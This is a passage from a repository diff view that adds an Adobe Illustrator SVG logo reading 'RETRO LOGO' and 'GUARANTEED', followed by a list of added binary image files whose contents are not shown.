c1,0,1.7-0.2,2.1-0.6c0.4-0.4,0.6-1.1,0.6-2.1c0-1-0.2-1.7-0.5-2.1c-0.4-0.4-1-0.6-2-0.6h-1V44.5z"/>
</g>
</g>
</g>
</g>
<g id="DESIGNED_BY_FREEPIK">
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 9.0 KiB

+195
View File
@@ -0,0 +1,195 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 200.6 165" enable-background="new 0 0 200.6 165" xml:space="preserve">
<g id="BACKGROUND" display="none">
<rect x="-63.1" y="-309.4" display="inline" fill="#FFFFFF" width="800" height="800"/>
</g>
<g id="OBJECTS">
<g>
<g>
<g>
<g>
<path fill="#2B292A" d="M26.1,91.1v-25h5.7c1.3,0,2.4,0.1,3.4,0.3c0.9,0.2,1.8,0.6,2.5,1.1c0.7,0.5,1.2,1.2,1.6,2.1
s0.5,1.9,0.5,3.2c0,1.6-0.2,2.8-0.7,3.8s-1.2,1.7-2.3,2.2l3.5,12.3h-4.6l-3-11.4h-2v11.4H26.1z M30.6,76.8h1.1
c1.3,0,2.3-0.3,2.9-0.9c0.6-0.6,0.9-1.6,0.9-2.9c0-1.3-0.2-2.3-0.7-2.9c-0.5-0.6-1.4-0.9-2.7-0.9h-1.4V76.8z"/>
<path fill="#2B292A" d="M43.2,91.1v-25h10.4v3.2h-5.9v7.2h4.7v3.2h-4.7V88h6v3.1H43.2z"/>
<path fill="#2B292A" d="M58.8,91.1V69.5h-4.2v-3.4h12.8v3.4h-4.1v21.6H58.8z"/>
<path fill="#2B292A" d="M69.3,91.1v-25h5.7c1.3,0,2.4,0.1,3.4,0.3c0.9,0.2,1.8,0.6,2.5,1.1c0.7,0.5,1.2,1.2,1.6,2.1
s0.5,1.9,0.5,3.2c0,1.6-0.2,2.8-0.7,3.8s-1.2,1.7-2.3,2.2l3.5,12.3h-4.6l-3-11.4h-2v11.4H69.3z M73.9,76.8H75
c1.3,0,2.3-0.3,2.9-0.9c0.6-0.6,0.9-1.6,0.9-2.9c0-1.3-0.2-2.3-0.7-2.9c-0.5-0.6-1.4-0.9-2.7-0.9h-1.4V76.8z"/>
<path fill="#2B292A" d="M93.2,91.4c-2.6,0-4.4-0.7-5.5-2.1c-1.1-1.4-1.7-3.4-1.7-6.1V74c0-1.3,0.1-2.5,0.4-3.4s0.7-1.8,1.2-2.5
s1.3-1.2,2.2-1.6s2.1-0.5,3.4-0.5c2.6,0,4.4,0.7,5.5,2.1c1.1,1.4,1.7,3.4,1.7,6.1v9.2c0,1.3-0.1,2.5-0.4,3.4s-0.7,1.8-1.2,2.6
c-0.6,0.7-1.3,1.3-2.2,1.6C95.7,91.2,94.5,91.4,93.2,91.4z M92.1,87.9c0.3,0.1,0.7,0.2,1.1,0.2c0.4,0,0.8-0.1,1.1-0.2
c0.3-0.1,0.6-0.3,0.7-0.5c0.2-0.2,0.3-0.5,0.4-0.8c0.1-0.3,0.2-0.7,0.2-1s0.1-0.7,0.1-1.2V72.9c0-0.6,0-1.1-0.1-1.5
c-0.1-0.4-0.2-0.8-0.4-1.1s-0.4-0.6-0.8-0.8c-0.4-0.2-0.8-0.3-1.3-0.3s-1,0.1-1.3,0.3c-0.4,0.2-0.6,0.4-0.8,0.8
c-0.2,0.4-0.3,0.7-0.3,1.1c-0.1,0.4-0.1,0.9-0.1,1.5v11.3c0,0.5,0,0.9,0.1,1.2s0.1,0.7,0.2,1s0.2,0.6,0.4,0.8
C91.5,87.6,91.8,87.7,92.1,87.9z"/>
<path fill="#2B292A" d="M111.3,91.1v-25h4.5V88h6v3.1H111.3z"/>
<path fill="#2B292A" d="M130.7,91.4c-2.6,0-4.4-0.7-5.5-2.1c-1.1-1.4-1.7-3.4-1.7-6.1V74c0-1.3,0.1-2.5,0.4-3.4
s0.7-1.8,1.2-2.5s1.3-1.2,2.2-1.6s2.1-0.5,3.4-0.5c2.6,0,4.4,0.7,5.5,2.1c1.1,1.4,1.7,3.4,1.7,6.1v9.2c0,1.3-0.1,2.5-0.4,3.4
s-0.7,1.8-1.2,2.6c-0.6,0.7-1.3,1.3-2.2,1.6C133.2,91.2,132,91.4,130.7,91.4z M129.6,87.9c0.3,0.1,0.7,0.2,1.1,0.2
c0.4,0,0.8-0.1,1.1-0.2c0.3-0.1,0.6-0.3,0.7-0.5c0.2-0.2,0.3-0.5,0.4-0.8c0.1-0.3,0.2-0.7,0.2-1s0.1-0.7,0.1-1.2V72.9
c0-0.6,0-1.1-0.1-1.5c-0.1-0.4-0.2-0.8-0.4-1.1s-0.4-0.6-0.8-0.8c-0.4-0.2-0.8-0.3-1.3-0.3s-1,0.1-1.3,0.3
c-0.4,0.2-0.6,0.4-0.8,0.8c-0.2,0.4-0.3,0.7-0.3,1.1c-0.1,0.4-0.1,0.9-0.1,1.5v11.3c0,0.5,0,0.9,0.1,1.2s0.1,0.7,0.2,1
s0.2,0.6,0.4,0.8C129,87.6,129.3,87.7,129.6,87.9z"/>
<path fill="#2B292A" d="M147.5,91.5c-2.4,0-4.1-0.7-5.1-2.2s-1.6-3.6-1.6-6.4v-8.1c0-1.4,0.1-2.7,0.3-3.7c0.2-1,0.6-2,1.1-2.7
c0.5-0.8,1.3-1.4,2.2-1.8c0.9-0.4,2.1-0.6,3.4-0.6c2.5,0,4.2,0.6,5.3,1.8c1.1,1.2,1.6,3,1.6,5.5v1.2h-4.4v-1.3c0-0.6,0-1,0-1.4
c0-0.4-0.1-0.7-0.2-1.1c-0.1-0.4-0.2-0.6-0.4-0.8c-0.2-0.2-0.4-0.3-0.7-0.5c-0.3-0.1-0.7-0.2-1.1-0.2c-0.3,0-0.6,0-0.9,0.1
s-0.5,0.2-0.7,0.3s-0.3,0.3-0.5,0.5c-0.1,0.2-0.2,0.5-0.3,0.7c-0.1,0.2-0.1,0.5-0.2,0.8s-0.1,0.6-0.1,0.9c0,0.3,0,0.6,0,1v10.1
c0,1.5,0.2,2.6,0.6,3.3c0.4,0.7,1.1,1,2.1,1c0.5,0,1-0.1,1.4-0.3c0.4-0.2,0.7-0.5,0.9-0.9s0.4-0.9,0.4-1.4
c0.1-0.5,0.1-1.2,0.1-1.9v-2h-2.7v-2.9h6.8v12.7h-3l-0.3-2.5C151,90.5,149.6,91.5,147.5,91.5z"/>
<path fill="#2B292A" d="M165.3,91.4c-2.6,0-4.4-0.7-5.5-2.1c-1.1-1.4-1.7-3.4-1.7-6.1V74c0-1.3,0.1-2.5,0.4-3.4
s0.7-1.8,1.2-2.5s1.3-1.2,2.2-1.6s2.1-0.5,3.4-0.5c2.6,0,4.4,0.7,5.5,2.1c1.1,1.4,1.7,3.4,1.7,6.1v9.2c0,1.3-0.1,2.5-0.4,3.4
s-0.7,1.8-1.2,2.6c-0.6,0.7-1.3,1.3-2.2,1.6C167.7,91.2,166.6,91.4,165.3,91.4z M164.1,87.9c0.3,0.1,0.7,0.2,1.1,0.2
c0.4,0,0.8-0.1,1.1-0.2c0.3-0.1,0.6-0.3,0.7-0.5c0.2-0.2,0.3-0.5,0.4-0.8c0.1-0.3,0.2-0.7,0.2-1s0.1-0.7,0.1-1.2V72.9
c0-0.6,0-1.1-0.1-1.5c-0.1-0.4-0.2-0.8-0.4-1.1s-0.4-0.6-0.8-0.8c-0.4-0.2-0.8-0.3-1.3-0.3s-1,0.1-1.3,0.3
c-0.4,0.2-0.6,0.4-0.8,0.8c-0.2,0.4-0.3,0.7-0.3,1.1c-0.1,0.4-0.1,0.9-0.1,1.5v11.3c0,0.5,0,0.9,0.1,1.2s0.1,0.7,0.2,1
s0.2,0.6,0.4,0.8C163.6,87.6,163.8,87.7,164.1,87.9z"/>
</g>
</g>
<g>
<path fill="#2B292A" d="M64.3,114.4h1.2v3.1c-0.9,0.6-2.1,1.1-3.3,1.1c-2.5,0-4.4-1.9-4.4-4.3c0-2.4,2-4.2,4.5-4.2
c1.2,0,2.4,0.5,3.2,1.2l-0.8,1c-0.6-0.6-1.6-1-2.4-1c-1.7,0-3.1,1.3-3.1,3c0,1.7,1.4,3,3.1,3c0.6,0,1.3-0.2,1.9-0.6V114.4z"/>
<path fill="#2B292A" d="M71.1,117.3c1.4,0,2.2-0.8,2.2-2.3v-4.9h1.4v4.9c0,2.2-1.4,3.5-3.7,3.5c-2.3,0-3.7-1.3-3.7-3.5v-4.9h1.4
v4.9C68.8,116.5,69.7,117.3,71.1,117.3z"/>
<path fill="#2B292A" d="M82,116.7h-4.2l-0.8,1.9h-1.5l3.7-8.4h1.5l3.7,8.4h-1.5L82,116.7z M81.4,115.4l-1.6-3.7l-1.6,3.7H81.4z"
/>
<path fill="#2B292A" d="M90.7,118.6l-1.5-2.5c-0.1,0-0.3,0-0.4,0h-2v2.5h-1.4v-8.4h3.4c2.2,0,3.4,1,3.4,2.9
c0,1.3-0.6,2.3-1.7,2.7l1.9,2.8H90.7z M88.8,114.7c1.3,0,2-0.6,2-1.7c0-1.1-0.7-1.6-2-1.6h-2v3.3H88.8z"/>
<path fill="#2B292A" d="M99.5,116.7h-4.2l-0.8,1.9H93l3.7-8.4h1.5l3.7,8.4h-1.5L99.5,116.7z M99,115.4l-1.6-3.7l-1.6,3.7H99z"/>
<path fill="#2B292A" d="M104.3,110.1l4.5,6v-6h1.4v8.4h-1.4l-4.5-6v6H103v-8.4H104.3z"/>
<path fill="#2B292A" d="M118.2,110.1v1.3h-2.7v7.1h-1.4v-7.1h-2.7v-1.3H118.2z"/>
<path fill="#2B292A" d="M125.4,110.1v1.3h-4.6v2.3h4.1v1.3h-4.1v2.3h4.7v1.3h-6.2v-8.4H125.4z"/>
<path fill="#2B292A" d="M133.3,110.1v1.3h-4.6v2.3h4.1v1.3h-4.1v2.3h4.7v1.3h-6.2v-8.4H133.3z"/>
<path fill="#2B292A" d="M143,114.4c0,2.4-1.8,4.2-4.4,4.2h-3.4v-8.4h3.5C141.2,110.1,143,111.9,143,114.4z M141.6,114.4
c0-1.7-1.3-2.9-2.9-2.9h-2v5.9h2.1C140.3,117.3,141.6,116.1,141.6,114.4z"/>
</g>
<path fill="#2B292A" d="M32.3,117.1c1.2,2.6,2.5,5.1,4,7.6c6.4,10.5,15.2,19.3,26.3,26.1c18.8,11.6,37.4,13.6,38.2,13.6l0.2,0
l0.2,0c0.7-0.1,18.4-2.2,36.2-13.8c10.5-6.8,18.9-15.4,25-25.7c1.5-2.5,2.8-5.1,4-7.8h34.2l-2.3-18.9l2.3-21.4h-11.6V56h-15.2
V16.3c0-9-7.3-16.3-16.3-16.3H40.7c-9,0-16.3,7.3-16.3,16.3V56H9.2v20.7H0.3l2.3,21.4l-2.3,18.9H32.3z M9.2,78.8v23.2h17.9
c1.1,4.6,2.5,9,4.3,13.2H2.6l2-16.8l0-0.1L2.6,78.8H9.2z M11.2,76.8V58.1h13.2h1.7h1.7h5.6h1h1h127.2h1h1h5.6h1.7h1.7h13.2v18.7
v1v1v21.2h-15.2H170h-1.8h-5.7h-1h-1h-4.6h-1h-1H47h-1h-1h-7h-1h-1h-5.7h-1.8h-1.8H11.2V78.8v-1V76.8z M27.8,16.3
c0-7.1,5.8-12.9,12.9-12.9h116.6c7.1,0,12.9,5.8,12.9,12.9V56h-5.6V14.9c0-3.3-2.7-6-6-6H39.4c-3.3,0-6,2.7-6,6V56h-5.6V16.3z
M162.7,56H35.4V14.9c0-2.2,1.8-4,4-4h119.2c2.2,0,4,1.8,4,4V56z M196.2,98.2l2.1,16.9h-31.1c1.7-4.2,3.1-8.6,4.1-13.2h17.6V78.8
h9.4L196.2,98.2z M162.6,117.1c-1,2.1-2,4.1-3.1,6c-5.7,9.8-13.7,18.1-23.8,24.6c-16.3,10.5-32.8,13-34.7,13.3
c-2-0.2-19.4-2.6-36.6-13.2c-10.6-6.6-19-14.9-25.1-25c-1.1-1.8-2.1-3.8-3.1-5.7c-0.2-0.3-0.3-0.7-0.5-1c-0.2-0.3-0.3-0.7-0.5-1
c-1.9-4.2-3.4-8.5-4.5-13.2h5.8c1.2,4.6,2.9,9,4.9,13.2c0.2,0.3,0.3,0.7,0.5,1c0.2,0.3,0.4,0.7,0.5,1c5.6,10.4,13.7,19,24.5,25.8
c14.7,9.2,29.7,12,33.9,12.6l0.2,0l0.2,0c4-0.7,18.2-3.6,32-12.6c10.3-6.8,18.1-15.4,23.4-25.7c0.2-0.3,0.3-0.7,0.5-1
c0.2-0.3,0.3-0.7,0.5-1c1.9-4.1,3.5-8.5,4.6-13.2h5.7c-1.1,4.6-2.5,9-4.3,13.2c-0.1,0.3-0.3,0.7-0.4,1
C162.9,116.4,162.7,116.8,162.6,117.1z M154.9,115.8c-0.2,0.5-0.5,0.9-0.7,1.3c-5.1,9.6-12.5,17.7-22.2,24.1
c-13.3,8.7-26.9,11.6-31,12.3c-4.4-0.7-18.9-3.4-33-12.3c-10.1-6.3-17.9-14.4-23.3-24.1c-0.2-0.3-0.4-0.7-0.5-1
c-0.2-0.3-0.4-0.7-0.5-1c-2.1-4.1-3.8-8.5-5.1-13.2H45h1h1h106.8h1h1h4.1c-1.1,4.1-2.4,8-4.1,11.7
C155.5,114.4,155.2,115.1,154.9,115.8z"/>
<rect x="175.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="183.3" y="62.8" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="183.3" y="73.2" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="183.3" y="68" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="180.2" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="20.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="13.9" y="68.4" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="13.9" y="73.5" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="14.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="13.9" y="63.2" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="18.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<polygon fill="#2B292A" points="14.8,78.8 14.8,78.7 13.9,78.7 13.9,78.8 13.9,81.3 14.8,81.3 "/>
<rect x="13.9" y="83.9" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="13.9" y="89" fill="#2B292A" width="0.9" height="2.6"/>
<polygon fill="#2B292A" points="16.3,96.3 14.8,96.3 14.8,94.2 13.9,94.2 13.9,97.2 16.3,97.2 "/>
<rect x="183.3" y="88.7" fill="#2B292A" width="0.9" height="2.6"/>
<polygon fill="#2B292A" points="184.2,78.8 184.2,78.3 183.3,78.3 183.3,78.8 183.3,80.9 184.2,80.9 "/>
<rect x="173.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="183.3" y="83.5" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="178.9" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="183.3" y="93.8" fill="#2B292A" width="0.9" height="2.6"/>
<rect x="164.7" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="30.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<polygon fill="#2B292A" points="31.7,97.2 31.7,96.3 29.4,96.3 29.2,96.3 29.2,97.2 29.6,97.2 "/>
<rect x="163.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<polygon fill="#2B292A" points="26.6,97.2 26.6,96.3 25.9,96.3 24,96.3 24,97.2 26.1,97.2 "/>
<polygon fill="#2B292A" points="172,61.6 172.5,61.6 172.5,60.8 172,60.8 170.3,60.8 169.9,60.8 169.9,61.6 170.3,61.6 "/>
<polygon fill="#2B292A" points="27.8,61.6 27.9,61.6 27.9,60.8 27.8,60.8 26.1,60.8 25.3,60.8 25.3,61.6 26.1,61.6 "/>
<polygon fill="#2B292A" points="170.5,97.2 171.2,97.2 171.2,96.3 170.7,96.3 168.9,96.3 168.6,96.3 168.6,97.2 168.8,97.2
"/>
<rect x="87.3" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="92.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="91.1" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="86" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="82.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="80.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="113.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="96.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="106.6" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="111.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="107.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="117" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="97.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="101.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="102.8" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="60.2" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="55" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="49.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="51.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="76.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="45.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="40.8" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="35.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="70.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="71.8" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="75.6" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="66.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="61.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="65.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="56.3" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="148" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="149.2" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="154.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="118.2" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="142.8" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="159.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="144.1" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="122.1" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="128.6" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="127.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="123.4" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="138.9" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="133.7" y="60.8" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="132.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="137.6" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<rect x="39.5" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<polygon fill="#2B292A" points="46,97.2 47,97.2 47.2,97.2 47.2,96.3 47,96.3 46,96.3 45,96.3 44.7,96.3 44.7,97.2 45,97.2
"/>
<rect x="158.3" y="96.3" fill="#2B292A" width="2.6" height="0.9"/>
<polygon fill="#2B292A" points="154.9,97.2 155.7,97.2 155.7,96.3 154.9,96.3 153.9,96.3 153.1,96.3 153.1,97.2 153.9,97.2
"/>
<polygon fill="#2B292A" points="36.3,97.2 36.9,97.2 36.9,96.3 36.1,96.3 35.1,96.3 34.3,96.3 34.3,97.2 35.3,97.2 "/>
<polygon fill="#2B292A" points="102.9,133.3 100.4,128.3 98,133.3 92.5,134.1 96.5,137.9 95.5,143.4 100.4,140.8 105.3,143.4
104.4,137.9 108.4,134.1 "/>
<path fill="#2B292A" d="M103.4,25.1c-0.5,0.3-1,0.5-1.7,0.7c-2.3,0.7-4.8,0.7-7.1,0c-0.6-0.2-1.2-0.4-1.7-0.7
c-1.8-1.2-13.4-6.3-37.6-2.3v7.1c0,0,2.9-0.9,3.5,3c0.6,3.9,2.1,16.7,12,17c0,0,9,0.4,10.9,0c1.9-0.4,8.7-1.9,11.3-12.3
c0,0,0.5-2.3,1.8-4.2c1.6-2.4,5.1-2.4,6.7,0c1.3,1.9,1.8,4.2,1.8,4.2c2.6,10.4,9.4,12,11.3,12.3c1.9,0.4,10.9,0,10.9,0
c9.9-0.3,11.3-13.1,12-17c0.6-3.9,3.5-3,3.5-3v-7.1C116.9,18.8,105.3,23.9,103.4,25.1z M90,36.9c-2.3,6-5,8.9-8.9,9.6
c0,0-0.6,0.1-3,0.1c-3.1,0-7-0.2-7.1-0.2l0,0c-3.5-0.1-5.2-2.5-6.2-4.6c-0.7-1.4-1.3-3.1-1.7-5.2l0,0l0,0c0,0-0.5-1.3-0.6-2.9
c-0.1-1.5,0-3.6,1.2-5.4c1.5-2.3,4.6-3.5,9-3.5c0.4,0,0.8,0,1.2,0c5.3,0,9.9,0.6,14.1,1.9C89.7,27.2,91,29,91,31
C90.9,33.3,90.6,35.3,90,36.9z M132.9,28.2c1.2,1.8,1.3,3.9,1.2,5.4c-0.2,1.7-0.6,2.9-0.6,2.9l0,0l0,0c-0.5,2-1,3.7-1.7,5.2
c-1,2.1-2.7,4.5-6.2,4.6l0,0c0,0-4,0.2-7.1,0.2c-2.4,0-3-0.1-3-0.1c-3.9-0.7-6.6-3.6-8.9-9.6c-0.6-1.6-0.9-3.5-1-5.8
c0-2,1.3-3.8,3.2-4.4c4.3-1.3,8.9-1.9,14.1-1.9c0.4,0,0.8,0,1.2,0C128.3,24.8,131.4,26,132.9,28.2z"/>
</g>
</g>
</g>
<g id="DESIGNED_BY_FREEPIK">
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 15 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 5.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 124 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 95 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Some files were not shown because too many files have changed in this diff Show More